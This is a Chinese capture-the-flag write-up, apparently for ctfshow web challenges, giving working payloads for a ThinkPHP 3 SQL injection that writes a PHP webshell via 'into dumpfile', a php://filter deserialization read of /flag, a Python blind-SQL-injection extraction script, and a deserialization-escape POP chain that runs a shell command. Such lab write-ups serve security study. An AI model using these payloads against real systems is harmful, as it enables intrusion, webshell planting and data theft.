考点:SQL注入写Webshellphp
网站是TP3的框架,在网上找到了Payload:?id[0]=exp&id[1]==1 or sleep(5)
,网站打开游戏后,观察URL发现参数变成了gameId
,一开始感受是SQL注入,可是ban掉了太多函数和语句,其中包括了where关键字
让人感受不是盲注了html
接着出题人给出了两个Hintpython
1.flag不在数据库里,尝试写shell 2.sql查询语句是 select * from game where id = 1 游戏名和游戏id是一张表的不一样字段 配合修改游戏名功能写shell
咱们知道要经过写Webshell得到flag,而后第二点就是payload能够修改游戏名能够配合写入shellmysql
不过SQL写入的操做仍是不少都被Ban了,测试后发现dumpfile还能够用,根据它给出的SQL查询语句,咱们能够拼出 select * from game where id =2 into dumpfile "/var/www/html/shell.php"#
,得到Payload为/index.php/Home/Game/gameinfo/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"#
,接着访问shell.php看到了21shengdan,而后对应修改游戏名为<?php phpinfo()?>
再打一次,在phpinfo中找到flagweb
考点:反序列化sql
两题用同一个Payload打通,一开始都是混淆视听的代码,主要代码部分shell
class Happy{ public $file='flag.php'; function __destruct(){ if(!empty($this->file)) { include $this->file; } } } function ezwaf($data){ if (preg_match("/ctfshow/",$data)){ die("Hacker !!!"); } return $data; } if(isset($_GET["w_a_n"])) { @unserialize(ezwaf($_GET["w_a_n"])); } else { new CTFSHOW("lookme", array()); }
经过Happy类的__destruct魔术方法,存在文件包含的漏洞,这里经过php伪协议进行源码读取数据库
<?php class Happy{ public $file='php://filter/read=convert.base64-encode/resource=/flag'; } echo serialize(new Happy()); ?> //Payload:?w_a_n=O:5:"Happy":1:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}
考点:SQL盲注中文字符,特殊字符@json
一个登陆窗口还有一个忘记密码的功能,登陆只会报错登陆失败,后来发现忘记密码会有不一样的回显,如admin' AND 1=1#
回显有带个P,但admin' AND 1=0#
回显用户不存在。没有什么过滤,因此很好作,惟一有点坑的地方就是中文数据库,这个得用hex()转成十六进制来得到内容,还有一个就是列名是what@you@want,存在@的特殊字符,得用反引号括起来,上脚本(脚本没使用二分法,又逊又慢!赛后太空人师傅跟我说sqlmap就能够注入出来!!!学好工具真的好用)数组
#!/usr/bin/env python # -*- coding:utf-8 -*- import requests url = 'http://f78d13d1-a633-49d7-a33d-0c6caa352b1d.chall.ctf.show:8080/forgot.php' s = 0 for x in range(1,500): data = { #'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema='mysql'))={})#".format(x) #'username': "admin'AND 1=(length((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'))={})#".format(x) #'username': "admin'AND 1=(length((Select group_concat(flagnothere) from user))={})#".format(x) #'username': "admin'AND 1=(length((Select group_concat(passw0rd) from user))={})#".format(x) #'username': "admin'AND 1=(length((select group_concat(schema_name) from information_schema.schemata))={})#".format(x) # 1.得到数据库 'username': "admin'AND 1=(length((select HEX(group_concat(schema_name)) from information_schema.schemata))={})#".format(x) # 2.得到表名 #'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)))={})#".format(x) # 3.得到列名 #'username': "admin'AND 1=(length((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'))={})#".format(x) # 4.得到内容,由于有@关键字符,用``反引号括起来 #'username': "admin'AND 1=(length((Select HEX(group_concat(`what@you@want`)) from 测试.15665611612))={})#".format(x) } res = requests.post(url=url, data=data) if " :P" in res.text: s = x + 1 break print s flag = '' for i in range(1,s): for j in range(34,255): data ={ #'username':"admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='mysql'),{},1))={})#".format(i,j) #'username': "admin'AND 1=(ascii(substr((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'),{},1))={})#".format(i, j) #'username': "admin'AND 1=(ascii(substr((Select group_concat(flagnothere) from user),{},1))={})#".format(i, j) #'username': "admin'AND 1=(ascii(substr((Select group_concat(passw0rd) from user),{},1))={})#".format(i, j) #'username': "admin'AND 1=(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))={})#".format(i, j) #1.得到数据库 'username': "admin'AND 1=(ascii(substr((select HEX(group_concat(schema_name)) from information_schema.schemata),{},1))={})#".format(i, j) # 2.得到表名 #'username': "admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)),{},1))={})#".format(i, j) #3.得到列名 #'username': "admin'AND 1=(ascii(substr((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'),{},1))={})#".format(i, j) #4.得到内容,由于有@关键字符,用``反引号括起来 #'username': "admin'AND 1=(ascii(substr((Select HEX(group_concat(`what@you@want`)) from `测试`.`15665611612`),{},1))={})#".format(i,j) #十六进制转字符串(含中文)的在线解码网址:http://www.bejson.com/convert/ox2str/ } res = requests.post(url=url,data=data) #print res.text if "P" in res.text: flag += chr(j) break print flag #print str(i) + flag
考点:弱口令、PHP伪协议、反序列化逃逸
这题不必定能讲的很清楚,若是仍是不理解能够私信我!
一开始是登陆界面,随意登录给了提示说登录有惊喜,尝试后发现是弱口令登录admin/admin888
,可是没有什么变化,而后就偷偷摸摸扫了后台,得到了hint.php和class.php,而且在hint中存在Here are some key messages that are hidden but u can't read u may try other ways to read this file to get hints
,应该是要用别的方式访问
给出了Hint:注意背景图片
经过背景图片能够知道存在一个lookMe.php的文件可能存在文件包含的漏洞,访问一下得到源码
<?php error_reporting(0); if ($_GET['file']){ $filename = $_GET['file']; if ($filename=='logo.png'){ header("Content-Type:image/png"); echo file_get_contents("./static/img/logo.png"); }else{ ini_set('open_basedir','./'); if ($filename=='hint.php'){ echo 'nononono!'; } else{ if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){ echo "hacker"; }else{ include($filename); } } } }else{ highlight_file(__FILE__); }
过滤内容:read
、%00-%2C
、
、flag
、..
这些内容,可是php伪协议并无过滤死,在读文件时能够不写read,以下图所示
读了hint.php后给了ezwaf.php
、class.php
、index.php
、lookMe.php
,而后依次读取源码,下面仅截取有用的部分
ezwaf.php
<?php function get($data){ $data = str_replace('forfun', chr(0)."*".chr(0), $data); return $data; } function checkData($data){ if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){ die("fuc**** hacker!!!\n"); } else{ return $data; } } function checkLogData($data){ if (preg_match("/register|magic|PersonalFunction/",$data)){ die("fuc**** hacker!!!!\n"); } else{ return $data; } }
看到第一个get()函数时猜想反序列化逃逸,后面两个是过滤函数,checkData($data)函数中的stristr()函数
对大小写敏感,若是是在反序列化逃逸的过滤可能存在绕过的方式经过将字符串的s类型改成S,能够对十六进制进行解码
;checkLogData($data)中的preg_match("/register|magic|PersonalFunction/",$data)
并无i模式
因此对大小写不敏感,类名能够经过改变大小写不影响
index.php
<?php include "class.php"; include "ezwaf.php"; session_start(); $username = $_POST['username']; $password = $_POST['password']; $finish = false; if ($username!=null&&$password!=null){ $serData = checkLogData(checkData(get(serialize(new Login($username,$password))))); $login = unserialize($serData); $loginStatus = $login->checkStatus(); if ($loginStatus){ $_SESSION['login'] = true; $_COOKIE['status'] = 0; } $finish = true; } ?>
这里知道了接收Login类,而后也验证了反序列化逃逸的论证
class.php
<?php error_reporting(0); class Login{ protected $user_name; protected $pass_word; protected $admin; public function __construct($username,$password){ $this->user_name=$username; $this->pass_word=$password; if ($this->user_name=='admin'&&$this->pass_word=='admin888'){ $this->admin = 1; }else{ $this->admin = 0; } } public function checkStatus(){ return $this->admin; } } class register{ protected $username; protected $password; protected $mobile; protected $mdPwd; public function __construct($username,$password,$mobile,$mdPwd){ $this->username = $username; $this->password = $password; $this->mobile = $mobile; $this->$mdPwd = $mdPwd; //初始化时须要传一个magic类进来 } public function __toString(){ //__toString()魔术方法用于把类看成字符串时触发 return $this->mdPwd->pwd; //这里若是$this->mdPwd是magic类,类中没有pwd为不可访问属性会触发__get() } } class magic{ protected $username = 'admin'; //从下面的__get魔术方法中需$username为admin,否则就退出 public function __get($key){ //__get()魔术方法用于从不可访问的属性读取数据 if ($this->username!=='admin'){ die("what do you do?"); } $this->getFlag($key); } public function getFlag($key){ echo $key."</br>"; system("cat /flagg"); } } class PersonalFunction{ protected $username; protected $password; protected $func = array(); public function __construct($username, $password,$func){ $this->username = $username; $this->password = $password; $this->func = $func; //修改$func初始化,让他传入一个包含register类的数组,这样经过checkFunction函数来触发__toString魔术方法 } public function checkFunction(array $funcBars) { $retData = null; $personalProperties = array_flip([ 'modifyPwd', 'InvitationCode', 'modifyAvatar', 'personalData', ]); foreach ($personalProperties as $item => $num){ foreach ($funcBars as $funcBar => $stat) { if (stristr($stat,$item)){ //这里的stristr会把$stat看成一个字符,能够符合__toString()触发的条件 $retData = true; } } } return $retData; } public function doFunction($function){ // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密. return true; } public function __destruct(){ //__destruct()魔术方法在对象销毁时触发 $retData = $this->checkFunction($this->func); //这里恰好能够触发 $this->doFunction($retData); } }
上面的代码我进行了备注和修改,主要为了触发POP链的效果;POP链的利用顺序在下图,从红框开始,跟着箭头走便可。
POP链构建顺序
$a = new magic(); $b = new register('atao','123456','1',$a); $c = array($b); $d = new PersonalFunction('atao','123456',$c);
剩下一个反序列化逃逸,这里咱们知道是将forfun
转成 chr(0)."*".chr(0)
,也就是6个字符转成3个字符
O:5:"Login":3:{s:12:" * user_name";s:4:"atao";s:12:" * pass_word";s:354:"aaa1";S:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{S:11:"\00*\00username";S:4:"atao";S:11:"\00*\00password";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{S:11:"\00*\00username";S:4:"atao";S:11:"\00*\00password";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"magic":1:{S:11:"\00*\00username";S:5:"admin";}}}};s:5:"admin";s:8:" * admin";i:0;}
这里黄色部分是要被吃掉的字符串,红色部分是Payload部分,橙色则是补全后面内容的操做(博客上看这部分可能没变色,见谅)
这里红框中的数字要和后面的字符串中的字符数量相同,假设一开始咱们传入n个forfun进去,则会有6*n个字符,可是经过get函数后,变成了3*n个字符,再进行反序列化时由于本来的字符数量不够了会继续日后吃,则上面黄色部分就是用来这些被吃掉的
而后用红色部分补上了Login类中的pass_word属性。这样反序列化后就会生成一个PersonalFunction对象,而后在销毁时触发POP链
这里须要填几个forfun本身算一下,经过";s:12:" * pass_word";s:354:"aaa1
计算为33个字符,则须要11个forfun
最后注意的是两个过滤函数,绕过的方法上面给了
Payload以下
username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=aaaa";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75\73ername";S:5:"admin";}}}};s:5:"admin
真的就没有完成,AK失败,得学习一下NodeJS,只知道原型污染链和一些Trick,其余的还不了解。